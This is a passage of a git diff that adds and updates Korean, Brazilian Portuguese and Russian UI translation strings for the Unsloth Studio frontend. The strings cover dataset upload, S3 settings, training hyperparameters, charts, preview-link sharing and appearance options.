+      localDatasets: "로컬 데이터셋",
+      localDataset: "로컬 데이터셋",
+      localDatasetRows: " / {count}행",
+      huggingFaceDataset: "Hugging Face 데이터셋",
+      localDatasetMetadata: "로컬 데이터셋 메타데이터",
+      dataRecipeOutput: "Data Recipe 출력.",
+      rows: "행",
+      columns: "열",
+      batches: "배치",
+      updated: "업데이트됨",
+      evalDataset: "평가 데이터셋",
+      uploading: "업로드 중...",
+      upload: "업로드",
+      uploadEvalFile: "평가 파일 업로드",
+      evalDatasetDescription:
+        "선택 사항. 제공하지 않으면 학습 데이터에서 일부가 분할됩니다.",
+      advanced: "고급",
+      targetFormat: "대상 형식",
+      targetFormatTooltip:
+        "학습 데이터의 형식입니다. 자동 감지는 대부분의 데이터셋에서 작동합니다.",
+      auto: "자동",
+      rawText: "원시 텍스트",
+      trainSplitStart: "학습 분할 시작",
+      trainSplitStartTooltip:
+        "시작 행 인덱스(포함, 0부터 시작)를 지정하여 학습 분할의 일부에서만 학습합니다. 첫 행부터 시작하려면 비워 두세요.",
+      trainSplitEnd: "학습 분할 끝",
+      trainSplitEndTooltip:
+        "학습 분할에 포함할 마지막 행 인덱스(포함, 0부터 시작)입니다. 예를 들어 시작을 0, 끝을 99로 설정하면 처음 100행에서 학습합니다. 남은 모든 행을 사용하려면 비워 두세요.",
+      endPlaceholder: "끝",
+      clear: "지우기",
+      dropFileOrClick: "파일 1개를 여기에 놓거나 클릭하여 업로드하세요",
+      viewDataset: "데이터셋 보기",
+      uploadFailed: "업로드에 실패했습니다",
+      unknownError: "알 수 없는 오류",
+      unsupportedFileType: "지원되지 않는 파일 형식",
+      uploadOneFileType: "{types} 파일 하나를 업로드하세요.",
+      datasetUploaded: "데이터셋이 업로드되었습니다",
+      evalDatasetUploaded: "평가 데이터셋이 업로드되었습니다",
+      uploadOneFileAtATime: "한 번에 하나의 파일만 업로드하세요",
+      uploadSingleFileDescription:
+        "학습 데이터셋 업로드는 단일 파일만 받습니다.",
+      checkingToken: "토큰 확인 중...",
+      getOrUpdateToken: "토큰 가져오기 또는 업데이트",
+      preview: "데이터셋 미리보기",
+      split: "분할",
+      subset: "서브셋",
+      s3: {
+        title: "S3 구성",
+        description:
+          "Amazon S3에서 .parquet, .json, .jsonl 또는 .csv 데이터셋을 불러옵니다",
+        bucket: "버킷 이름",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "AWS 리전",
+        regionPlaceholder: "us-east-1",
+        prefix: "경로 접두사",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "버킷 내 데이터셋 파일에 대한 선택적 경로",
+        accessKeyId: "액세스 키 ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "시크릿 액세스 키",
+        secretAccessKeyPlaceholder: "AWS 시크릿 액세스 키",
+        useIamRole: "IAM 역할 사용",
+        useIamRoleTooltip:
+          "액세스 키 대신 IAM 역할 자격 증명을 사용합니다(EC2/SageMaker에 권장).",
+        testConnection: "연결 테스트",
+        connectionSuccess: "S3 버킷에 성공적으로 연결되었습니다",
+        connectionFailed: "S3 버킷에 연결하지 못했습니다",
+        comingSoon: "S3 통합 출시 예정",
+        comingSoonDescription:
+          "S3 데이터셋 로딩에는 boto3가 필요합니다. 이 기능은 개발 중입니다.",
+      },
+    },
+    params: {
+      title: "매개변수",
+      description: "학습 하이퍼파라미터를 구성하세요",
+      projectName: "프로젝트 이름",
+      optional: "선택 사항",
+      projectNameDescription:
+        "학습 출력 폴더 이름, 내보내기 기본값 및 기록에 사용됩니다.",
+      loraSettings: "LoRA 설정",
+      trainingHyperparameters: "학습 하이퍼파라미터",
+      maxSteps: "최대 스텝",
+      epochs: "에포크",
+      useMaxSteps: "최대 스텝 사용",
+      useEpochs: "에포크 사용",
+      maxStepsTooltip: "전체 옵티마이저 스텝 수를 재정의합니다.",
+      epochsTooltip: "데이터셋을 완전히 순회하는 횟수입니다.",
+      epochsDescription: "각 에포크는 데이터셋을 한 번 완전히 순회하는 것입니다.",
+      maxStepsDescription:
+        "학습을 고정된 옵티마이저 스텝 수로 제한합니다.",
+      contextLength: "컨텍스트 길이",
+      contextLengthTooltip: "학습 샘플당 최대 토큰 수입니다.",
+      customContextLength: "사용자 지정 값 입력",
+      contextLengthDescription: "학습 샘플의 최대 시퀀스 길이",
+      learningRate: "학습률",
+      learningRateTooltip:
+        "가중치 업데이트의 스텝 크기입니다. 값이 낮을수록 학습이 느리지만 더 안정적입니다.",
+      learningRateDescription:
+        "권장값: LoRA는 2e-4, CPT는 5e-5, 전체 파인튜닝은 2e-5",
+      embeddingLearningRate: "임베딩 학습률",
+      embeddingLearningRateTooltip:
+        "CPT가 embed_tokens를 학습할 때만 사용됩니다. 임베딩은 LoRA 가중치보다 불안정해지기 쉬우므로 보통 더 작은 학습률이 필요합니다. 비워 두면 lr/10을 사용하며, 일반적인 범위는 주 학습률보다 2배~10배 작습니다. 어휘 또는 도메인 토큰 적응이 너무 느릴 때만 높이세요.",
+      embeddingLearningRateDescription:
+        "비워 두면 lr/10을 사용합니다(권장). 일반적인 범위는 주 학습률보다 2배~10배 작습니다.",
+      rank: "랭크",
+      rankTooltip:
+        "저랭크 행렬의 차원입니다. 높을수록 용량이 커집니다.",
+      alpha: "알파",
+      alphaTooltip: "LoRA 업데이트의 스케일링 계수입니다. 보통 랭크의 2배입니다.",
+      dropout: "드롭아웃",
+      dropoutTooltip:
+        "과적합을 줄이기 위한 LoRA 레이어의 드롭아웃 확률입니다.",
+      visionLayers: "비전 레이어",
+      languageLayers: "언어 레이어",
+      attentionModules: "어텐션 모듈",
+      mlpModules: "MLP 모듈",
+      targetModules: "대상 모듈",
+      enableLora: "LoRA 활성화",
+      trainWithLora: "LoRA로 학습",
+      stableRank: "안정 랭크",
+      memoryEfficient: "메모리 효율적",
+      optimization: "최적화",
+      schedule: "스케줄",
+      memory: "메모리",
+      optimizer: "옵티마이저",
+      optimizerTooltip:
+        "최적화 알고리즘입니다. 8비트 변형은 메모리 사용량을 줄입니다. 비전 모델에는 Fused가 권장됩니다.",
+      lrScheduler: "LR 스케줄러",
+      lrSchedulerTooltip:
+        "학습 중 학습률이 변하는 방식입니다. Linear는 꾸준히 감소하고, Cosine은 곡선으로 감소합니다.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Linear",
+        cosine: "Cosine",
+      },
+      batchSize: "배치 크기",
+      batchSizeTooltip:
+        "스텝당 처리되는 샘플 수입니다. 높을수록 더 많은 VRAM을 사용합니다.",
+      gradAccum: "그래디언트 누적",
+      gradAccumTooltip: "추가 VRAM 없이 더 큰 배치 크기를 시뮬레이션합니다.",
+      weightDecay: "가중치 감쇠",
+      weightDecayTooltip: "과적합을 방지하기 위한 L2 정규화입니다.",
+      warmupSteps: "워밍업 스텝",
+      warmupStepsTooltip:
+        "안정성을 위해 학습 시작 시 학습률을 점진적으로 높입니다.",
+      scheduleEpochsTooltip:
+        "데이터셋을 완전히 순회하는 횟수입니다. 최대 스텝으로 실행하려면 0으로 설정하세요.",
+      saveSteps: "저장 스텝",
+      saveStepsTooltip: "N 스텝마다 체크포인트를 저장합니다. 0이면 비활성화됩니다.",
+      evalSteps: "평가 스텝",
+      evalStepsTooltip:
+        "평가 사이의 간격을 전체 학습 스텝 수의 비율로 나타냅니다(0-1). 0으로 설정하면 평가가 비활성화됩니다. 예: 0.01 = 스텝의 1%마다 평가.",
+      seed: "시드",
+      seedTooltip: "재현성을 위한 랜덤 시드입니다.",
+      gradCheckpoint: "그래디언트 체크포인트",
+      gradCheckpointTooltip:
+        "활성화를 재계산하여 연산으로 메모리를 절약합니다.",
+      none: "없음",
+      standard: "표준",
+      enablePacking: "패킹 활성화",
+      assistantCompletionsOnly: "어시스턴트 응답만",
+      readMore: "더 알아보기",
+    },
+    training: {
+      title: "학습",
+      description: "학습을 모니터링하고 제어합니다",
+      chartNoDataTitle: "아직 학습 데이터가 없습니다",
+      chartNoDataDescription: "학습을 시작하면 loss 진행 상황을 볼 수 있습니다",
+      startTraining: "학습 시작",
+      starting: "시작 중...",
+      loadingModel: "모델을 로딩하는 중...",
+      checkingDataset: "데이터셋을 확인하는 중...",
+      configLabel: "학습 구성",
+      upload: "업로드",
+      uploadConfigTooltip: "저장된 YAML 구성 불러오기",
+      save: "저장",
+      saveConfigTooltip: "현재 구성을 YAML로 다운로드",
+      reset: "재설정",
+      resetConfigTooltip: "모델 기본값으로 재설정",
+      configLoaded: "구성이 로드되었습니다",
+      failedToLoadConfig: "구성을 불러오지 못했습니다",
+      invalidYamlFile: "잘못된 YAML 파일입니다",
+      failedToReadFile: "파일을 읽지 못했습니다",
+      parametersReset: "매개변수가 모델 기본값으로 재설정되었습니다",
+      audioIncompatible:
+        "이 모델은 오디오를 지원하지 않습니다. 오디오를 지원하는 모델로 전환하거나 오디오가 아닌 데이터셋을 선택하세요.",
+      visionIncompatible:
+        "텍스트 모델은 멀티모달 데이터셋과 호환되지 않습니다. 비전 모델로 전환하거나 텍스트 전용 데이터셋을 선택하세요.",
+      cancelTitle: "학습 취소",
+      cancelDescription: "현재 학습 실행을 취소하시겠습니까?",
+      continueAction: "학습 계속",
+      cancelAction: "학습 취소",
+      stopTitle: "학습 중지",
+      stopDescription: "현재 학습 실행을 중지하는 방법을 선택하세요.",
+      stopAction: "중지",
+      stopping: "중지 중...",
+      stopAndSave: "중지 후 저장",
+      compareInChat: "채팅에서 비교",
+      exportModel: "모델 내보내기",
+      milestone: "마일스톤",
+      halfwayDone: "절반 완료. 학습이 50%를 넘었습니다.",
+      doneNextStep:
+        "학습 완료. 다음 단계: 기본 모델과 파인튜닝된 모델의 출력을 비교하세요.",
+    },
+    history: {
+      title: "기록",
+      emptyTitle: "아직 학습 실행이 없습니다",
+      emptyDescription:
+        "아직 학습 실행이 없습니다. 구성 탭에서 첫 학습 실행을 시작하세요.",
+      loadError: "학습 실행을 불러오지 못했습니다",
+      deleteError: "학습 실행을 삭제하지 못했습니다. 다시 시도하세요.",
+      retry: "다시 시도",
+      loadMore: "더 불러오기",
+      loading: "로딩 중...",
+      loadingRun: "학습 실행을 로딩하는 중...",
+      runNotFound: "실행을 찾을 수 없습니다",
+      deleteTitle: "학습 실행을 삭제하시겠습니까?",
+      deleteDescription:
+        "이 학습 실행과 모든 지표가 영구적으로 삭제됩니다. 이 작업은 되돌릴 수 없습니다.",
+      runCount: "{count}개의 실행",
+      oneRun: "1개의 실행",
+      resume: "재개",
+      resumeTraining: "학습 재개",
+      resuming: "재개 중...",
+      deleteRun: "실행 삭제",
+      loss: "Loss",
+      steps: "스텝",
+      lossTrendSparkline: "Loss 추세 스파크라인",
+      relativeJustNow: "방금",
+      relativeMinutesAgo: "{count}분 전",
+      relativeHoursAgo: "{count}시간 전",
+      relativeDaysAgo: "{count}일 전",
+      status: {
+        completed: "완료됨",
+        stopped: "중지됨",
+        error: "오류",
+        running: "실행 중",
+        continued: "계속됨",
+      },
+      message: {
+        completed: "학습이 완료되었습니다",
+        stopped: "학습이 중지되었습니다",
+        running: "학습 진행 중",
+        errored: "학습에 오류가 발생했습니다",
+      },
+      copyPreviewLink: "미리보기 링크 복사",
+      previewLinkCopied: "미리보기 링크가 복사되었습니다",
+      previewLinkCopyFailed: "링크를 복사하지 못했습니다",
+    },
+    charts: {
+      settings: "차트 설정",
+      settingsDescription:
+        "학습이 계속 실행되는 동안 차트 표시를 조정합니다.",
+      openSettings: "차트 설정 열기",
+      viewWindow: "보기 창",
+      viewWindowDescription: "최신 스텝만 또는 전체 기록을 표시합니다.",
+      window: "창",
+      all: "전체",
+      trainingLoss: "학습 손실",
+      trainingLossDescription: "오버레이와 EMA 평활화를 제어합니다.",
+      smoothing: "평활화",
+      smoothingDescription: "오른쪽으로 이동하면 평활화가 증가합니다. `0` = 원시 값.",
+      showRawLoss: "원시 loss 표시",
+      showSmoothedLoss: "평활화된 loss 표시",
+      showAverageLine: "평균선 표시",
+      scaleAndCleanup: "스케일 및 정리",
+      linear: "선형",
+      log: "로그",
+      noClip: "클립 없음",
+      clipP99: "p99 클립",
+      clipP95: "p95 클립",
+      lossAxis: "손실 축",
+      gradientNormAxis: "그래디언트 노름 축",
+      learningRateAxis: "학습률 축",
+      resetDefaults: "기본값 재설정",
+      loss: "Loss",
+      smoothed: "평활화됨",
+      evalLoss: "평가 Loss",
+      learningRate: "학습률",
+      lr: "LR",
+      gradNorm: "그래디언트 노름",
+      gradientNorm: "그래디언트 노름",
+      step: "스텝 {step}",
+      averageValue: "평균 {value}",
+      waitingForFirstEvaluationStep: "첫 평가 스텝을 기다리는 중...",
+      evaluationNotConfigured: "평가가 구성되지 않았습니다",
+      evalChartWillAppear: "eval_steps에 도달하면 차트가 표시됩니다",
+      setEvalDatasetAndSteps:
+        "평가 loss를 추적하려면 평가 데이터셋과 eval_steps를 설정하세요",
+    },
+    progress: {
+      title: "학습 진행률",
+      liveMetrics: "실시간 학습 지표",
+      exportGguf: "GGUF로 내보내기",
+      openConfig: "학습 구성 열기",
+      configLabel: "학습 구성",
+      hyperparams: "하이퍼파라미터",
+      epochs: "에포크",
+      batchSize: "배치 크기",
+      learningRate: "학습률",
+      optimizer: "옵티마이저",
+      maxSteps: "최대 스텝",
+      contextLength: "컨텍스트 길이",
+      warmupSteps: "워밍업 스텝",
+      rank: "랭크",
+      alpha: "알파",
+      dropout: "드롭아웃",
+      variant: "변형",
+      epoch: "에포크 {value}",
+      percentComplete: "{percent}% 완료",
+      stepProgress: "스텝 {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "그래디언트 노름",
+      project: "프로젝트",
+      model: "모델",
+      method: "방법",
+      elapsed: "경과: {value}",
+      eta: "ETA: {value}",
+      stepsPerSecond: "{value} 스텝/초",
+      noStepsPerSecond: "-- 스텝/초",
+      tokens: "토큰: {value}",
+      gpuMonitor: "GPU 모니터",
+      live: "실시간",
+      utilization: "사용률",
+      temperature: "온도",
+      vram: "VRAM",
+      power: "전력",
+      phase: {
+        idle: "유휴",
+        downloadingModel: "모델 다운로드 중",
+        downloadingDataset: "데이터셋 다운로드 중",
+        loadingModel: "모델 로딩 중",
+        loadingDataset: "데이터셋 로딩 중",
+        configuring: "구성 중",
+        training: "학습 중",
+        completed: "완료됨",
+        error: "오류",
+        stopped: "중지됨",
+      },
+    },
+    trainingStart: {
+      ready: "준비됨",
+      downloading: "다운로드 중",
+      preparing: "준비 중",
+      left: "{eta} 남음",
+      downloaded: "{size} 다운로드됨",
+      terminalStart: "> unsloth 학습을 시작합니다...",
+      preparingResources: "> 모델과 데이터셋을 준비하는 중...",
+      gettingReady: "> 실행을 위한 모든 준비를 하는 중...",
+      waitingForFirstStep: "> {message} | 첫 스텝을 기다리는 중... ({step})",
+      resumingTraining: "학습을 재개하는 중...",
+      startingTraining: "학습을 시작하는 중...",
+      dataset: "데이터셋",
+      datasetStreaming: "데이터셋: 스트리밍(전체 다운로드 없음)",
+      modelWeights: "모델 가중치",
+    },
+    tour: {
+      guidedTour: "가이드 투어",
+    },
+  },
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts
index c261e4ed0c..b46aea6321 100644
--- a/studio/frontend/src/i18n/locales/pt-br.ts
+++ b/studio/frontend/src/i18n/locales/pt-br.ts
@@ -1,6 +1,9 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
 export const ptBR = {
   common: {
     cancel: "Cancelar",
@@ -36,11 +39,12 @@ export const ptBR = {
       returnToChat: "Retornar ao Chat",
       compare: "Comparar",
       search: "Buscar",
-      hub: "Hub",
+      hub: "Modelos",
       train: "Treinar",
       recipes: "Receitas",
       export: "Exportar",
       recents: "Recentes",
+      noChatsYet: "Nenhum chat ainda",
       settings: "Configurações",
       api: "API",
       lightMode: "Modo Claro",
@@ -87,6 +91,8 @@ export const ptBR = {
       title: "Configurações",
       description: "Gerencie suas preferências do Unsloth.",
       closeAriaLabel: "Fechar configurações",
+      searchPlaceholder: "Pesquisar configurações…",
+      searchNoResults: "Nenhuma configuração encontrada.",
     },
     tabs: {
       general: "Geral",
@@ -97,6 +103,7 @@ export const ptBR = {
       connections: "Conexões",
       apiKeys: "API",
       about: "Sobre",
+      voice: "Voz",
     },
     general: {
       title: "Geral",
@@ -105,11 +112,11 @@ export const ptBR = {
       huggingFaceToken: "Token do Hugging Face",
       huggingFaceTokenDescription:
         "Usado para carregar modelos restritos e enviar artefatos.",
-      tokenSaved: "Token salvo",
+      tokenValidated: "Token validado",
       hideToken: "Ocultar token",
       showToken: "Mostrar token",
       password: "Senha",
-      passwordDescription: "Altere a senha desta conta do Studio.",
+      passwordDescription: "Altere a senha desta conta do Unsloth.",
       passwordDialog: {
         trigger: "Alterar senha",
         title: "Alterar senha",
@@ -143,6 +150,41 @@ export const ptBR = {
         loadError: "Falha ao carregar as configurações do LLM Auxiliar.",
         saveError: "Falha ao salvar as configurações do LLM Auxiliar.",
       },
+      modelAutoSwitch: {
+        sectionTitle: "Troca automática de modelo (API OpenAI)",
+        enable: "Trocar de modelo por requisição",
+        enableDescription:
+          "Quando uma requisição compatível com OpenAI nomear um GGUF baixado diferente, carrega-o antes de responder. Desativado por padrão; nomes desconhecidos continuam usando o modelo carregado.",
+        idleUnload: "Descarregamento automático por inatividade",
+        idleUnloadDescription:
+          "Descarrega o modelo após esta quantidade de segundos de inatividade para liberar VRAM; a próxima requisição o recarrega. 0 mantém o modelo carregado. Mínimo de 60 segundos.",
+        idleNeedsEnable:
+          "Ative Trocar de modelo por requisição para que um modelo descarregado seja recarregado no próximo uso.",
+        idleActiveViaEnv:
+          "O descarregamento automático por inatividade está ativo por meio da variável de ambiente UNSLOTH_MODEL_IDLE_TTL.",
+        loadError: "Falha ao carregar as configurações de troca automática de modelo.",
+        saveError: "Falha ao salvar as configurações de troca automática de modelo.",
+        idleError: "Insira 0 para manter o modelo carregado, ou pelo menos 60 segundos.",
+      },
+      previewSharing: {
+        sectionTitle: "Compartilhamento de pré-visualização",
+        enableLabel: "Links públicos de pré-visualização",
+        enableDescription:
+          "Permite que qualquer pessoa com um link assinado converse com um modelo concluído, sem necessidade de login. Desative para tirar a superfície de pré-visualização pública do ar; os links compartilhados param de funcionar.",
+        loadError: "Falha ao carregar as configurações de compartilhamento de pré-visualização.",
+        saveError: "Falha ao salvar as configurações de compartilhamento de pré-visualização.",
+        revokeLabel: "Revogar todos os links de pré-visualização",
+        revokeDescription:
+          "Rotaciona o segredo de assinatura para que todos os links que você compartilhou parem de funcionar. Links copiados recentemente continuam funcionando.",
+        revokeAction: "Revogar links",
+        revoking: "Revogando...",
+        revokeConfirmTitle: "Revogar todos os links de pré-visualização?",
+        revokeConfirmDescription:
+          "Todos os links de pré-visualização que você compartilhou pararão de funcionar imediatamente. Isso não pode ser desfeito.",
+        revokeConfirmAction: "Revogar todos os links",
+        revoked: "Todos os links de pré-visualização foram revogados",
+        revokeError: "Não foi possível revogar os links de pré-visualização",
+      },
       notifications: {
         sectionTitle: "Notificações",
         showLlamaUpdates: "Notificações de atualização do llama.cpp",
@@ -160,6 +202,20 @@ export const ptBR = {
         maxUploadSizeDescription:
           "O padrão é {defaultSize} MB.",
       },
+      rag: {
+        sectionTitle: "Documentos e RAG",
+        embeddingModel: "Modelo de embedding",
+        embeddingModelDescription:
+          "Modelo do Hugging Face ou caminho local usado para indexar e buscar seus documentos. O padrão é {defaultModel}.",
+        reindexWarning:
+          "Afeta apenas documentos recém-indexados. Reenvie os documentos existentes após alterar o modelo.",
+        emptyError: "Insira um id de modelo do Hugging Face ou um caminho local.",
+        loadError: "Falha ao carregar a configuração do modelo de embedding.",
+        saveError: "Falha ao salvar o modelo de embedding.",
+        saved: "Modelo de embedding salvo.",
+        saveAnyway: "Salvar mesmo assim",
+        resetAction: "Redefinir para o padrão",
+      },
       storage: {
         sectionTitle: "Armazenamento",
         modelsFolder: "Pasta de modelos",
@@ -194,7 +250,11 @@ export const ptBR = {
       avatarShape: "Formato da foto de perfil",
       avatarShapeCircle: "Círculo",
       avatarShapeRounded: "Arredondado",
-      chooseSloth: "Ou escolha uma preguiça",
+      greetingSloth: "Preguiça na saudação",
+      greetingSlothDescription: "Mostra a preguiça na saudação do chat.",
+      chooseSloth: "Ou escolha uma preguiça como foto de perfil",
+      noPicture: "Sem foto de perfil",
+      noneLabel: "Nenhuma",
       nameSaved: "Nome de perfil salvo",
       namePersistErrorTitle: "Não foi possível persistir o nome de perfil",
       namePersistErrorDescription:
@@ -217,10 +277,96 @@ export const ptBR = {
         light: "Claro",
         dark: "Escuro",
       },
+      palette: {
+        label: "Paleta de cores",
+        description: "Cores usadas no Unsloth, nos modos claro e escuro.",
+        standard: "Padrão",
+        classic: "Clássico",
+        minimal: "Minimalista",
+      },
+      custom: {
+        reset: "Redefinir",
+        resetAll: "Redefinir personalização",
+        preferencesTitle: "Preferências",
+        colors: {
+          lightGroup: "Tema claro",
+          darkGroup: "Tema escuro",
+          accent: "Destaque",
+          background: "Fundo",
+          foreground: "Texto",
+        },
+        fontDefault: "Padrão",
+        fontBundledGroup: "Integradas",
+        fontImportedGroup: "Importadas",
+        fontDeviceGroup: "Neste dispositivo",
+        fontFolderGroup: "Da pasta",
+        fontDeviceLoading: "Procurando fontes do dispositivo…",
+        fontSearch: "Buscar fontes…",
+        fontNoResults: "Nenhuma fonte encontrada.",
+        colorPicker: {
+          hue: "Matiz",
+          hex: "Cor hexadecimal",
+          eyedropper: "Escolher uma cor da tela",
+        },
+        uiFont: {
+          label: "Fonte da interface",
+        },
+        headingFont: {
+          label: "Fonte de títulos",
+        },
+        chatFont: {
+          label: "Fonte do chat",
+        },
+        codeFont: {
+          label: "Fonte de código",
+        },
+        importFont: {
+          upload: "Enviar",
+          scanFolder: "Selecionar pasta",
+          alreadyAvailable: "Esta fonte já está disponível, então a cópia existente será usada.",
+          folderNoFonts: "Nenhum arquivo de fonte encontrado nessa pasta.",
+          remove: "Remover",
+          errorInvalidType:
+            "Tipo de arquivo não suportado. Use .woff2, .woff, .ttf ou .otf.",
+          errorTooLarge: "O arquivo de fonte é muito grande (máx. 1,5 MB).",
+          errorLimit: "Você pode importar até 3 fontes.",
+          errorStorageFull: "Sem espaço de armazenamento local para esta fonte. Remova uma fonte importada primeiro.",
+          errorFailed: "Não foi possível carregar este arquivo de fonte.",
+        },
+        uiFontSize: {
+          label: "Tamanho da fonte da interface",
+          description: "Ajuste o tamanho base da interface do Unsloth.",
+        },
+        codeFontSize: {
+          label: "Tamanho da fonte de código",
+          description: "Ajuste o tamanho base do código.",
+        },
+        fontSmoothing: {
+          label: "Suavização de fonte",
+          description: "Usar anti-aliasing suavizado nas fontes.",
+        },
+        contrast: {
+          label: "Contraste",
+          description: "Intensidade das bordas e do texto secundário.",
+        },
+        reduceMotion: {
+          label: "Reduzir movimento",
+          description: "Reduza as animações ou siga o sistema.",
+          system: "Sistema",
+          on: "Ativado",
+          off: "Desativado",
+        },
+        pointerCursors: {
+          label: "Usar cursor de ponteiro",
+          description:
+            "Muda o cursor para ponteiro ao passar sobre elementos interativos.",
+        },
+      },
       language: {
         title: "Idioma",
         label: "Idioma de exibição",
         description: "O idioma utilizado pelo Unsloth.",
+        autoDetect: "Detecção automática",
       },
       layout: {
         title: "Layout",
@@ -228,10 +374,17 @@ export const ptBR = {
         compactSidebarDescription:
           "Mantém a barra lateral expandida em vez de recolhê-la em ícones.",
       },
+      sidebarMenu: {
+        title: "Menu da barra lateral",
+        description:
+          "Mostre, oculte e reordene os itens do menu de perfil da barra lateral. Configurações, Ajuda, Sair e Desligar permanecem fixos.",
+        darkModeToggle: "Alternador de modo escuro",
+        dragToReorder: "Arraste para reordenar",
+      },
     },
     resources: {
       title: "Sistema",
-      description: "Monitore o hardware e o armazenamento deste servidor Studio.",
+      description: "Monitore o hardware e o armazenamento deste servidor Unsloth.",
       liveUpdates: "Atualizações ao vivo",
       floatingWindow: "Janela flutuante",
       disableOverlay: "Desativar sobreposição",
@@ -363,13 +516,12 @@ export const ptBR = {
         "Acesse o Unsloth por meio da API compatível com OpenAI.",
       readDocs: "Leia a documentação da API",
       noAccess: "Nenhum acesso à API ainda.",
-      newBadge: "Novo",
       accessTokens: "Tokens de acesso",
       loadError: "Não foi possível carregar o acesso à API.",
       createError: "Não foi possível criar o token de acesso.",
       revokeError: "Não foi possível revogar o token de acesso.",
       never: "Nunca",
-      tokenNamePlaceholder: "Nome do token (ex: producao)",
+      tokenNamePlaceholder: "Nome do token (ex: produção)",
       newAccessTokenName: "Nome do novo token de acesso",
       createToken: "Criar token",
       creating: "Criando...",
@@ -395,6 +547,12 @@ export const ptBR = {
       copy: "Copiar",
       copied: "Copiado",
       setupDocs: "Docs de configuração:",
+      codingAgents: "Agentes de código",
+      codingAgentsHint:
+        "Inicie um agente de código conectado a este servidor. Ele usa o modelo carregado; um servidor local gera uma chave de API automaticamente, um remoto a inclui no comando.",
+      codingAgentsSwap: "Troque claude por codex, openclaw, opencode, hermes ou pi.",
+      codingAgentDetected: "Instalado nesta máquina",
+      codingAgentsDetectedHint: "Detectado nesta máquina: {agents}.",
       relativeNever: "nunca",
       relativeJustNow: "agora mesmo",
       relativeHoursAgo: "há {count}h",
@@ -647,6 +805,10 @@ export const ptBR = {
     params: {
       title: "Parâmetros",
       description: "Configure os hiperparâmetros de treinamento",
+      projectName: "Nome do Projeto",
+      optional: "Opcional",
+      projectNameDescription:
+        "Usado nos nomes das pastas de saída do treinamento, nos padrões de exportação e no histórico.",
       loraSettings: "Configurações do LoRA",
       trainingHyperparameters: "Hiperparâmetros de Treinamento",
       maxSteps: "Passos Máximos (Max Steps)",
@@ -763,11 +925,11 @@ export const ptBR = {
       visionIncompatible:
         "O modelo de texto não é compatível com um dataset multimodal. Mude para um modelo de visão ou escolha um dataset apenas de texto.",
       cancelTitle: "Cancelar Treinamento",
-      cancelDescription: "Deseja cancelar a execução de treinamento atual?",
+      cancelDescription: "Deseja cancelar a execução de treino atual?",
       continueAction: "Continuar Treinamento",
       cancelAction: "Cancelar Treinamento",
       stopTitle: "Interromper Treinamento",
-      stopDescription: "Escolha como você deseja interromper a execução de treinamento atual.",
+      stopDescription: "Escolha como você deseja interromper a execução de treino atual.",
       stopAction: "Interromper",
       stopping: "Interrompendo...",
       stopAndSave: "Interromper e Salvar",
@@ -819,6 +981,9 @@ export const ptBR = {
         running: "Treinamento em andamento",
         errored: "Treinamento com erro",
       },
+      copyPreviewLink: "Copiar link de pré-visualização",
+      previewLinkCopied: "Link de pré-visualização copiado",
+      previewLinkCopyFailed: "Não foi possível copiar o link",
     },
     charts: {
       settings: "Configurações do Gráfico",
@@ -885,6 +1050,7 @@ export const ptBR = {
       loss: "Loss",
       lr: "LR",
       gradNorm: "Norma do Grad.",
+      project: "Projeto",
       model: "Modelo",
       method: "Método",
       elapsed: "Decorrido: {value}",
@@ -931,4 +1097,4 @@ export const ptBR = {
       guidedTour: "Tour Guiado",
     },
   },
-} as const;
+} satisfies DeepPartialMessageTree<typeof en>;
diff --git a/studio/frontend/src/i18n/locales/ru.ts b/studio/frontend/src/i18n/locales/ru.ts
new file mode 100644
index 0000000000..1c0ac6f95e
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ru.ts
@@ -0,0 +1,999 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ru = {
+  common: {
+    cancel: "Отмена",
+    close: "Закрыть",
+    delete: "Удалить",
+    done: "Готово",
+    error: "Ошибка",
+    export: "Экспорт",
+    help: "Справка",
+    loading: "Загрузка...",
+    new: "Создать",
+    rename: "Переименовать",
+    save: "Сохранить",
+    saving: "Сохранение...",
+    search: "Поиск",
+    shutdown: "Выключить",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Меню аккаунта {name}",
+    updateAvailable: "Доступно обновление",
+    aria: {
+      home: "Главная Unsloth",
+      closeSidebar: "Закрыть боковую панель",
+      openSidebar: "Открыть боковую панель",
+      chatOptions: "Параметры чата",
+      runOptions: "Параметры запуска",
+    },
+    navigation: {
+      newChat: "Новый чат",
+      returnToChat: "Вернуться к чату",
+      compare: "Сравнить",
+      search: "Поиск",
+      hub: "Модели",
+      train: "Обучение",
+      recipes: "Рецепты",
+      export: "Экспорт",
+      recents: "Недавние",
+      noChatsYet: "Пока нет чатов",
+      settings: "Настройки",
+      api: "API",
+      lightMode: "Светлая тема",
+      darkMode: "Тёмная тема",
+      guidedTour: "Обзорный тур",
+      help: "Справка",
+      logOut: "Выйти",
+      shutdown: "Выключить",
+    },
+    notFound: {
+      title: "Страница не найдена",
+      description: "{path} не существует.",
+      backToChat: "Вернуться к чату",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Удалить чат",
+        description: 'Вы уверены, что хотите удалить чат «{name}»?',
+      },
+      deleteRun: {
+        title: "Удалить запуск обучения",
+        description: 'Вы уверены, что хотите удалить запуск «{name}»?',
+      },
+      renameChat: {
+        title: "Переименовать чат",
